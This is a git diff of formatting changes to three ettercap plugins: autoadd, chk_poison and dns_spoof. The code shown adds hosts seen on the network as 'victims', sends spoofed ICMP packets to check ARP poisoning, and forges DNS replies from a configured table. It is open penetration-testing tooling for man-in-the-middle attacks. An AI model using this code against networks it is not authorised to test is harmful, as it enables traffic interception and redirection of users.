a/plug-ins/autoadd/autoadd.c b/plug-ins/autoadd/autoadd.c index ca35493e2..31f8c0724 100644 --- a/plug-ins/autoadd/autoadd.c +++ b/plug-ins/autoadd/autoadd.c @@ -1,24 +1,23 @@ /* - autoadd -- ettercap plugin -- Report suspicious ARP activity - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * autoadd -- ettercap plugin -- Report suspicious ARP activity + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -36,50 +35,49 @@ static int add_to_victims(void *group, struct packet_object *po); /* plugin operations */ -struct plugin_ops autoadd_ops = { +struct plugin_ops autoadd_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "autoadd", - /* a short description of the plugin (max 50 chars) */ - .info = "Automatically add new victims in the target range", - /* the plugin version. */ - .version = "1.2", + .name = "autoadd", + /* a short description of the plugin (max 50 chars) */ + .info = "Automatically add new victims in the target range", + /* the plugin version. */ + .version = "1.2", /* activation function */ - .init = &autoadd_init, - /* deactivation function */ - .fini = &autoadd_fini, + .init = &autoadd_init, + /* deactivation function */ + .fini = &autoadd_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &autoadd_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int autoadd_init(void *dummy) +static int autoadd_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - /* + /* * we'll use arp request to detect active hosts. * if an host sends arp rq, it want to communicate, * so it is alive */ hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int autoadd_fini(void *dummy) +static int autoadd_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_FINISHED; @@ -107,27 +105,27 @@ static void parse_arp(struct packet_object *po) /* don't add undefined address */ if (ip_addr_is_zero(&po->L3.src)) return; - + /* search in target 1 */ if (GBL_TARGET1->all_ip) { if (add_to_victims(&arp_group_one, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP1\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } else { - LIST_FOREACH(t, &GBL_TARGET1->ips, next) - if (!ip_addr_cmp(&t->ip, &po->L3.src)) - if (add_to_victims(&arp_group_one, po) == E_SUCCESS) - USER_MSG("autoadd: %s %s added to GROUP1\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); + LIST_FOREACH(t, &GBL_TARGET1->ips, next) + if (!ip_addr_cmp(&t->ip, &po->L3.src)) + if (add_to_victims(&arp_group_one, po) == E_SUCCESS) + USER_MSG("autoadd: %s %s added to GROUP1\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } - + /* search in target 2 */ if (GBL_TARGET2->all_ip) { if (add_to_victims(&arp_group_two, po) == E_SUCCESS) USER_MSG("autoadd: %s %s added to GROUP2\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } else { - LIST_FOREACH(t, &GBL_TARGET2->ips, next) - if (!ip_addr_cmp(&t->ip, &po->L3.src)) - if (add_to_victims(&arp_group_two, po) == E_SUCCESS) - USER_MSG("autoadd: %s %s added to GROUP2\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); + LIST_FOREACH(t, &GBL_TARGET2->ips, next) + if (!ip_addr_cmp(&t->ip, &po->L3.src)) + if (add_to_victims(&arp_group_two, po) == E_SUCCESS) + USER_MSG("autoadd: %s %s added to GROUP2\n", ip_addr_ntoa(&po->L3.src, tmp), mac_addr_ntoa(po->L2.src, tmp2)); } } @@ -140,44 +138,43 @@ static int add_to_victims(void *group, struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; struct hosts_list *h; - LIST_HEAD(, hosts_list) *head = group; + LIST_HEAD(, hosts_list) * head = group; (void)tmp; - + /* search if it was already inserted in the list */ LIST_FOREACH(h, head, next) - if (!ip_addr_cmp(&h->ip, &po->L3.src)) - return -E_NOTHANDLED; - + if (!ip_addr_cmp(&h->ip, &po->L3.src)) + return -E_NOTHANDLED; + SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); - + memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr)); memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN); - + DEBUG_MSG("autoadd: added %s to arp groups", ip_addr_ntoa(&h->ip, tmp)); LIST_INSERT_HEAD(head, h, next); - + /* add the host even in the hosts list */ LIST_FOREACH(h, &GBL_HOSTLIST, next) - if (!ip_addr_cmp(&h->ip, &po->L3.src)) - return E_SUCCESS; - - /* - * we need another copy, since the group lists + if (!ip_addr_cmp(&h->ip, &po->L3.src)) + return E_SUCCESS; + + /* + * we need another copy, since the group lists * are freed by the mitm process */ SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); - + memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr)); memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN); - + DEBUG_MSG("autoadd: added %s to hosts list", ip_addr_ntoa(&h->ip, tmp)); LIST_INSERT_HEAD(&GBL_HOSTLIST, h, next); - + return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/chk_poison/chk_poison.c b/plug-ins/chk_poison/chk_poison.c index d40f3f443..dc44ffe26 100644 --- a/plug-ins/chk_poison/chk_poison.c +++ b/plug-ins/chk_poison/chk_poison.c @@ -1,27 +1,26 @@ /* - chk_poison -- ettercap plugin -- Check if the poisoning had success - - it sends a spoofed icmp packets to each victim with the address - of any other target and listen for "forwardable" replies. - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * chk_poison -- ettercap plugin -- Check if the poisoning had success + * + * it sends a spoofed icmp packets to each victim with the address + * of any other target and listen for "forwardable" replies. + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -44,8 +43,8 @@ SLIST_HEAD(, poison_list) poison_table; /* mutexes */ static pthread_mutex_t poison_mutex = PTHREAD_MUTEX_INITIALIZER; -#define POISON_LOCK do{ pthread_mutex_lock(&poison_mutex); } while(0) -#define POISON_UNLOCK do{ pthread_mutex_unlock(&poison_mutex); } while(0) +#define POISON_LOCK do { pthread_mutex_lock(&poison_mutex); } while (0) +#define POISON_UNLOCK do { pthread_mutex_unlock(&poison_mutex); } while (0) /* protos */ int plugin_load(void *); @@ -55,34 +54,34 @@ static void parse_icmp(struct packet_object *po); /* plugin operations */ -struct plugin_ops chk_poison_ops = { +struct plugin_ops chk_poison_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "chk_poison", - /* a short description of the plugin (max 50 chars) */ - .info = "Check if the poisoning had success", - /* the plugin version. */ - .version = "1.1", + .name = "chk_poison", + /* a short description of the plugin (max 50 chars) */ + .info = "Check if the poisoning had success", + /* the plugin version. */ + .version = "1.1", /* activation function */ - .init = &chk_poison_init, - /* deactivation function */ - .fini = &chk_poison_fini, + .init = &chk_poison_init, + /* deactivation function */ + .fini = &chk_poison_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &chk_poison_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int chk_poison_init(void *dummy) +static int chk_poison_init(void *dummy) { - + char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct hosts_list *g1, *g2; @@ -91,16 +90,16 @@ static int chk_poison_init(void *dummy) u_char i; /* variable not used */ - (void) dummy; + (void)dummy; /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; - + if (LIST_EMPTY(&arp_group_one) || LIST_EMPTY(&arp_group_two)) { - INSTANT_USER_MSG("chk_poison: You have to run this plugin during a poisoning session.\n\n"); + INSTANT_USER_MSG("chk_poison: You have to run this plugin during a poisoning session.\n\n"); return PLUGIN_FINISHED; } - + /* Create a list with all poisoning targets */ LIST_FOREACH(g1, &arp_group_one, next) { LIST_FOREACH(g2, &arp_group_two, next) { @@ -126,11 +125,11 @@ static int chk_poison_init(void *dummy) /* Send spoofed ICMP echo request to each victim */ SLIST_FOREACH(p, &poison_table, next) { for (i = 0; i <= 1; i++) { - send_L3_icmp_echo(&(p->ip[i]), &(p->ip[!i])); + send_L3_icmp_echo(&(p->ip[i]), &(p->ip[!i])); ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); } } - + /* wait for the response */ ec_usleep(SEC2MICRO(1)); @@ -140,29 +139,29 @@ static int chk_poison_init(void *dummy) /* To check if all was poisoned, or no one */ poison_any = 0; poison_full = 1; - + /* We'll parse the list twice to avoid too long results printing */ SLIST_FOREACH(p, &poison_table, next) { for (i = 0; i <= 1; i++) if (p->poison_success[i]) poison_any = 1; else - poison_full = 0; + poison_full = 0; } /* Order does matter :) */ - if (!poison_any) - INSTANT_USER_MSG("chk_poison: No poisoning at all :(\n"); - else if (poison_full) + if (!poison_any) + INSTANT_USER_MSG("chk_poison: No poisoning at all :(\n"); + else if (poison_full) INSTANT_USER_MSG("chk_poison: Poisoning process successful!\n"); - else + else SLIST_FOREACH(p, &poison_table, next) { - for (i=0; i<=1; i++) + for (i = 0; i <= 1; i++) if (!p->poison_success[i]) - INSTANT_USER_MSG("chk_poison: No poisoning between %s -> %s\n", ip_addr_ntoa(&(p->ip[i]), tmp1), ip_addr_ntoa(&(p->ip[!i]), tmp2) ); + INSTANT_USER_MSG("chk_poison: No poisoning between %s -> %s\n", ip_addr_ntoa(&(p->ip[i]), tmp1), ip_addr_ntoa(&(p->ip[!i]), tmp2)); } - - POISON_LOCK; + + POISON_LOCK; /* delete the poisoning list */ while (!SLIST_EMPTY(&poison_table)) { p = SLIST_FIRST(&poison_table); @@ -170,15 +169,14 @@ static int chk_poison_init(void *dummy) SAFE_FREE(p); } POISON_UNLOCK; - + return PLUGIN_FINISHED; } - -static int chk_poison_fini(void *dummy) +static int chk_poison_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; return PLUGIN_FINISHED; } @@ -189,29 +187,27 @@ static int chk_poison_fini(void *dummy) static void parse_icmp(struct packet_object *po) { struct poison_list *p; - + /* If the packet is not forwardable we haven't received it - * because of the poisoning + * because of the poisoning */ if (!(po->flags & PO_FORWARDABLE)) - return; + return; - /* Check if it's in the poisoning list. If so this poisoning + /* Check if it's in the poisoning list. If so this poisoning * is successfull. */ - POISON_LOCK; - SLIST_FOREACH(p, &poison_table, next) { - if (!ip_addr_cmp(&(po->L3.src), &(p->ip[0])) && !ip_addr_cmp(&(po->L3.dst), &(p->ip[1]))) - p->poison_success[0] = 1; - - if (!ip_addr_cmp(&(po->L3.src), &(p->ip[1])) && !ip_addr_cmp(&(po->L3.dst), &(p->ip[0]))) - p->poison_success[1] = 1; - } + POISON_LOCK; + SLIST_FOREACH(p, &poison_table, next) { + if (!ip_addr_cmp(&(po->L3.src), &(p->ip[0])) && !ip_addr_cmp(&(po->L3.dst), &(p->ip[1]))) + p->poison_success[0] = 1; + + if (!ip_addr_cmp(&(po->L3.src), &(p->ip[1])) && !ip_addr_cmp(&(po->L3.dst), &(p->ip[0]))) + p->poison_success[1] = 1; + } POISON_UNLOCK; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/dns_spoof/dns_spoof.c b/plug-ins/dns_spoof/dns_spoof.c index b4ef10f86..61c9f56ea 100644 --- a/plug-ins/dns_spoof/dns_spoof.c +++ b/plug-ins/dns_spoof/dns_spoof.c @@ -1,23 +1,23 @@ /* - dns_spoof -- ettercap plugin -- spoofs dns reply - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * dns_spoof -- ettercap plugin -- spoofs dns reply + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -41,27 +41,27 @@ struct dns_header { u_int16 id; /* DNS packet ID */ #ifdef WORDS_BIGENDIAN - u_char qr: 1; /* response flag */ - u_char opcode: 4; /* purpose of message */ - u_char aa: 1; /* authoritative answer */ - u_char tc: 1; /* truncated message */ - u_char rd: 1; /* recursion desired */ - u_char ra: 1; /* recursion available */ - u_char unused: 1; /* unused bits */ - u_char ad: 1; /* authentic data from named */ - u_char cd: 1; /* checking disabled by resolver */ - u_char rcode: 4; /* response code */ + u_char qr : 1; /* response flag */ + u_char opcode : 4; /* purpose of message */ + u_char aa : 1; /* authoritative answer */ + u_char tc : 1; /* truncated message */ + u_char rd : 1; /* recursion desired */ + u_char ra : 1; /* recursion available */ + u_char unused : 1; /* unused bits */ + u_char ad : 1; /* authentic data from named */ + u_char cd : 1; /* checking disabled by resolver */ + u_char rcode : 4; /* response code */ #else /* WORDS_LITTLEENDIAN */ - u_char rd: 1; /* recursion desired */ - u_char tc: 1; /* truncated message */ - u_char aa: 1; /* authoritative answer */ - u_char opcode: 4; /* purpose of message */ - u_char qr: 1; /* response flag */ - u_char rcode: 4; /* response code */ - u_char cd: 1; /* checking disabled by resolver */ - u_char ad: 1; /* authentic data from named */ - u_char unused: 1; /* unused bits */ - u_char ra: 1; /* recursion available */ + u_char rd : 1; /* recursion desired */ + u_char tc : 1; /* truncated message */ + u_char aa : 1; /* authoritative answer */ + u_char opcode : 4; /* purpose of message */ + u_char qr : 1; /* response flag */ + u_char rcode : 4; /* response code */ + u_char cd : 1; /* checking disabled by resolver */ + u_char ad : 1; /* authentic data from named */ + u_char unused : 1; /* unused bits */ + u_char ra : 1; /* recursion available */ #endif u_int16 num_q; /* Number of questions */ u_int16 num_answer; /* Number of answer resource records */ @@ -70,7 +70,7 @@ struct dns_header { }; struct dns_spoof_entry { - int type; /* ns_t_a, ns_t_mx, ns_t_ptr, ns_t_wins */ + int type; /* ns_t_a, ns_t_mx, ns_t_ptr, ns_t_wins */ u_int32 ttl; /* 0 - 2^31-1 seconds */ char *name; struct ip_addr ip; @@ -111,59 +111,58 @@ static void dns_spoof_dump(void); /* plugin operations */ -struct plugin_ops dns_spoof_ops = { +struct plugin_ops dns_spoof_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "dns_spoof", - /* a short description of the plugin (max 50 chars) */ - .info = "Sends spoofed dns replies", - /* the plugin version. */ - .version = "1.3", + .name = "dns_spoof", + /* a short description of the plugin (max 50 chars) */ + .info = "Sends spoofed dns replies", + /* the plugin version. */ + .version = "1.3", /* activation function */ - .init = &dns_spoof_init, - /* deactivation function */ - .fini = &dns_spoof_fini, + .init = &dns_spoof_init, + /* deactivation function */ + .fini = &dns_spoof_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { - /* load the database of spoofed replies (etter.dns) + /* load the database of spoofed replies (etter.dns) * return an error if we could not open the file */ if (load_db() != E_SUCCESS) return -E_INVALID; - + dns_spoof_dump(); return plugin_register(handle, &dns_spoof_ops); } /*********************************************************/ -static int dns_spoof_init(void *dummy) +static int dns_spoof_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - /* + /* * add the hook in the dissector. * this will pass only valid dns packets */ hook_add(HOOK_PROTO_DNS, &dns_spoof); - + return PLUGIN_RUNNING; } - -static int dns_spoof_fini(void *dummy) +static int dns_spoof_fini(void *dummy) { struct dns_spoof_entry *d; /* variable not used */ - (void) dummy; + (void)dummy; /* remove the hook */ hook_del(HOOK_PROTO_DNS, &dns_spoof); @@ -177,54 +176,52 @@ static int dns_spoof_fini(void *dummy) SAFE_FREE(d); } - return PLUGIN_FINISHED; } - /* - * load the database in the list + * load the database in the list */ static int load_db(void) { struct dns_spoof_entry *d; FILE *f; - char line[100+255+10+1]; + char line[100 + 255 + 10 + 1]; char *ptr, *ip, *name; u_int32 ttl; int lines = 0, type; u_int16 port = 0; - + /* open the file */ f = open_data("etc", ETTER_DNS, FOPEN_READ_TEXT); if (f == NULL) { USER_MSG("dns_spoof: Cannot open %s\n", ETTER_DNS); return -E_INVALID; } - + /* load it in the list */ - while (fgets(line, 100+255+10+1, f)) { + while (fgets(line, 100 + 255 + 10 + 1, f)) { /* count the lines */ lines++; /* trim comments */ - if ( (ptr = strchr(line, '#')) ) + if ((ptr = strchr(line, '#'))) *ptr = '\0'; /* skip empty lines */ if (!*line || *line == '\r' || *line == '\n') continue; - + /* strip apart the line */ - if (!parse_line(line, lines, &type, &ip, &port, &name, &ttl)) + if (!parse_line(line, lines, &type, &ip, &port, &name, &ttl)) continue; - + /* create the entry */ SAFE_CALLOC(d, 1, sizeof(struct dns_spoof_entry)); d->name = strdup(name); if (d->name == NULL) { - USER_MSG("dns_spoof: Unable to allocate memory for d->name\n"); - return -E_INVALID; + USER_MSG("dns_spoof: Unable to allocate memory for d->name\n"); + return -E_INVALID; } d->type = type; d->port = port; @@ -235,24 +232,23 @@ static int load_db(void) if (type == ns_t_txt) { /* Nothing to convert for TXT - just copy the string */ d->text = strndup(ip, 255); - if (d->text == NULL) { - USER_MSG("dns_spoof: Unable to allocate memory for d->text\n"); - free(d->name); - free(d); - return -E_INVALID; - } - } - else if (ip_addr_pton(ip, &d->ip) != E_SUCCESS) { + if (d->text == NULL) { + USER_MSG("dns_spoof: Unable to allocate memory for d->text\n"); + free(d->name); + free(d); + return -E_INVALID; + } + } else if (ip_addr_pton(ip, &d->ip) != E_SUCCESS) { /* neither IPv4 nor IPv6 - throw a message and skip line */ USER_MSG("dns_spoof: %s:%d Invalid IPv4 or IPv6 address\n", ETTER_DNS, lines); SAFE_FREE(d); continue; } - + /* insert in the list */ SLIST_INSERT_HEAD(&dns_spoof_head, d, next); } - + fclose(f); return E_SUCCESS; @@ -263,73 +259,73 @@ static int load_db(void) */ static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p, u_int32 *ttl_p) { - static char name[100+1]; + static char name[100 + 1]; static char ip[MAX_ASCII_ADDR_LEN]; static u_int16 port; static u_int32 ttl; - char type[10+1]; + char type[10 + 1]; - DEBUG_MSG("%s:%d str '%s'", ETTER_DNS, line, str); + DEBUG_MSG("%s:%d str '%s'", ETTER_DNS, line, str); /* Set default TTL of 1 hour if not specified */ ttl = 3600; /* TTL is optional therefore only require 3 options here */ - if (sscanf(str,"%100s %10s %40[^\r\n# ] %u", name, type, ip, &ttl) < 3) { + if (sscanf(str, "%100s %10s %40[^\r\n# ] %u", name, type, ip, &ttl) < 3) { USER_MSG("dns_spoof: %s:%d Invalid entry '%s'\n", ETTER_DNS, line, str); - return (0); + return 0; } - + /* keep TTL within DNS standard limits (2^31 - 1) - see RFC 2181 */ if (ttl > MAX_DNS_TTL) ttl = 3600; *ttl_p = ttl; - if (!strcasecmp(type,"PTR")) { - if (strpbrk(name,"*?[]")) { + if (!strcasecmp(type, "PTR")) { + if (strpbrk(name, "*?[]")) { USER_MSG("dns_spoof: %s:%d Wildcards in PTR records are not allowed; %s\n", ETTER_DNS, line, str); - return (0); + return 0; } *type_p = ns_t_ptr; *name_p = name; *ip_p = ip; - return (1); + return 1; } - if (!strcasecmp(type,"A")) { + if (!strcasecmp(type, "A")) { *type_p = ns_t_a; *name_p = name; *ip_p = ip; - return (1); + return 1; } - if (!strcasecmp(type,"AAAA")) { + if (!strcasecmp(type, "AAAA")) { *type_p = ns_t_aaaa; *name_p = name; *ip_p = ip; - return (1); + return 1; } - if (!strcasecmp(type,"MX")) { + if (!strcasecmp(type, "MX")) { *type_p = ns_t_mx; *name_p = name; *ip_p = ip; - return (1); + return 1; } - if (!strcasecmp(type,"WINS")) { + if (!strcasecmp(type, "WINS")) { *type_p = ns_t_wins; *name_p = name; *ip_p = ip; - return (1); + return 1; } if (!strcasecmp(type, "TXT")) { char txt[256]; /* rescan line as spaces are supported in TXT records */ - if (sscanf(str,"%100s %10s \"%255[^\r\n#\"]\" %u", name, type, txt, &ttl) < 3) { + if (sscanf(str, "%100s %10s \"%255[^\r\n#\"]\" %u", name, type, txt, &ttl) < 3) { USER_MSG("dns_spoof: %s:%d Invalid entry %s\n", ETTER_DNS, line, str); return 0; } @@ -340,29 +336,29 @@ static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int *name_p = name; *ip_p = txt; *ttl_p = ttl; - return (1); + return 1; } if (!strcasecmp(type, "SRV")) { - /* + /* * SRV records have different syntax */ static char ip_tmp[MAX_ASCII_ADDR_LEN]; if (ec_strsplit_ipport(ip, ip_tmp, &port)) { USER_MSG("dns_spoof: %s:%d Unknown syntax for SRV record; %s\n", ETTER_DNS, line, str); - return (0); + return 0; } *type_p = ns_t_srv; *name_p = name; *ip_p = ip_tmp; *port_p = port; - return (1); + return 1; } USER_MSG("dns_spoof: %s:%d Unknown record type %s\n", ETTER_DNS, line, type); - return (0); + return 0; } /* @@ -387,13 +383,13 @@ static void dns_spoof(struct packet_object *po) n_answ = 0; n_auth = 0; n_addi = 0; - + /* extract the name from the packet */ name_len = dn_expand((u_char *)dns, end, data, name, sizeof(name)); /* move pointer behind the domain name */ q = data + name_len; - + /* get the type and class */ NS_GET16(type, q); NS_GET16(class, q); @@ -401,13 +397,12 @@ static void dns_spoof(struct packet_object *po) /* set initial dns reply length to the length of the question */ dns_len = q - data; - /* handle only internet class */ if (class != ns_c_in) return; /* we are interested only in DNS query */ - if ( (!dns->qr) && dns->opcode == ns_o_query && htons(dns->num_q) == 1 && htons(dns->num_answer) == 0) { + if ((!dns->qr) && dns->opcode == ns_o_query && htons(dns->num_q) == 1 && htons(dns->num_answer) == 0) { /* * If we are interested in this DNS query this function returns E_SUCCESS. @@ -418,19 +413,19 @@ static void dns_spoof(struct packet_object *po) * Below, the lists have to be processes in this order and concatenated to the * query in memory. */ - if (prepare_dns_reply(data, name, type, &dns_len, + if (prepare_dns_reply(data, name, type, &dns_len, &n_answ, &n_auth, &n_addi) != E_SUCCESS) return; - /* + /* * do nothing if we haven't prepared anything - * this can happen with ANY queries + * this can happen with ANY queries */ - if (dns_len <= q - data) + if (dns_len <= q - data) return; /* Do not forward query */ - po->flags |= PO_DROPPED; + po->flags |= PO_DROPPED; /* set incoming interface as outgoing interface for reply */ iface = po->flags & PO_FROMIFACE ? GBL_IFACE : GBL_BRIDGE; @@ -438,17 +433,17 @@ static void dns_spoof(struct packet_object *po) /* allocate memory for the dns reply */ SAFE_CALLOC(dns_reply, dns_len, sizeof(u_int8)); - /* + /* * fill the buffer with the content of the request - * we will append the answer just behind the request + * we will append the answer just behind the request */ memcpy(dns_reply, data, q - data); dns_off = q - data; - + /* collect answers and free list items in one go */ while (!SLIST_EMPTY(&answer_list)) { rr = SLIST_FIRST(&answer_list); - /* make sure not to exceed allocated memory */ + /* make sure not to exceed allocated memory */ if (dns_off + rr->size <= dns_len) { /* serialize data */ memcpy(dns_reply + dns_off, rr->data, rr->size); @@ -463,7 +458,7 @@ static void dns_spoof(struct packet_object *po) /* collect authority and free list items in one go */ while (!SLIST_EMPTY(&authority_list)) { rr = SLIST_FIRST(&authority_list); - /* make sure not to exceed allocated memory */ + /* make sure not to exceed allocated memory */ if (dns_off + rr->size <= dns_len) { /* serialize data */ memcpy(dns_reply + dns_off, rr->data, rr->size); @@ -478,7 +473,7 @@ static void dns_spoof(struct packet_object *po) /* collect additional and free list items in one go */ while (!SLIST_EMPTY(&additional_list)) { rr = SLIST_FIRST(&additional_list); - /* make sure not to exceed allocated memory */ + /* make sure not to exceed allocated memory */ if (dns_off + rr->size <= dns_len) { /* serialize data */ memcpy(dns_reply + dns_off, rr->data, rr->size); @@ -492,14 +487,11 @@ static void dns_spoof(struct packet_object *po) /* send the reply */ send_dns_reply(iface, po->L4.src, &po->L3.dst, &po->L3.src, po->L2.src, - ntohs(dns->id), dns_reply, dns_len, n_answ, n_auth, n_addi); + ntohs(dns->id), dns_reply, dns_len, n_answ, n_auth, n_addi); /* spoofed DNS reply sent - free memory */ SAFE_FREE(dns_reply); - } - - } /* @@ -509,7 +501,7 @@ static void dns_spoof(struct packet_object *po) * - authority_list * - additional_list */ -static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_len, +static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_len, int *n_answ, int *n_auth, int *n_addi) { struct ip_addr *reply; @@ -526,16 +518,16 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ /* by default we want to spoof actual data */ is_negative = false; - + /* it is and address resolution (name to ip) */ if (type == ns_t_a || type == ns_t_any) { /* found the reply in the list */ if (get_spoofed_a(name, &reply, &ttl) != E_SUCCESS) { - /* in case of ANY we have to proceed with the next section */ - if (type == ns_t_any) + /* in case of ANY we have to proceed with the next section */ + if (type == ns_t_any) goto any_aaaa; - else + else return -E_NOTFOUND; } @@ -546,7 +538,7 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ return -E_INVALID; } - /* + /* * When spoofed IP address is undefined address, we stop * processing of this section by spoofing a negative-cache reply */ @@ -556,7 +548,6 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ * instead of spoofing a IP address */ is_negative = true; - } else { /* allocate memory for the answer */ @@ -583,8 +574,8 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ *dns_len += len; *n_answ += 1; - USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", - type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); + USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", + type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); } } /* A */ @@ -593,23 +584,23 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ /* also care about AAAA records */ if (type == ns_t_aaaa || type == ns_t_any) { - /* found the reply in the list */ - if (get_spoofed_aaaa(name, &reply, &ttl) != E_SUCCESS) { - /* in case of ANY we have to proceed with the next section */ - if (type == ns_t_any) - goto any_mx; - else - return -E_NOTFOUND; - } - - /* check if the family matches the record type */ - if (ntohs(reply->addr_type) != AF_INET6) { - USER_MSG("dns_spoof: can not spoof AAAA record for %s " - "because the value is not a IPv6 address\n", name); - return -E_INVALID; - } - - /* + /* found the reply in the list */ + if (get_spoofed_aaaa(name, &reply, &ttl) != E_SUCCESS) { + /* in case of ANY we have to proceed with the next section */ + if (type == ns_t_any) + goto any_mx; + else + return -E_NOTFOUND; + } + + /* check if the family matches the record type */ + if (ntohs(reply->addr_type) != AF_INET6) { + USER_MSG("dns_spoof: can not spoof AAAA record for %s " + "because the value is not a IPv6 address\n", name); + return -E_INVALID; + } + + /* * When spoofed IP address is undefined address, we stop * processing of this section by spoofing 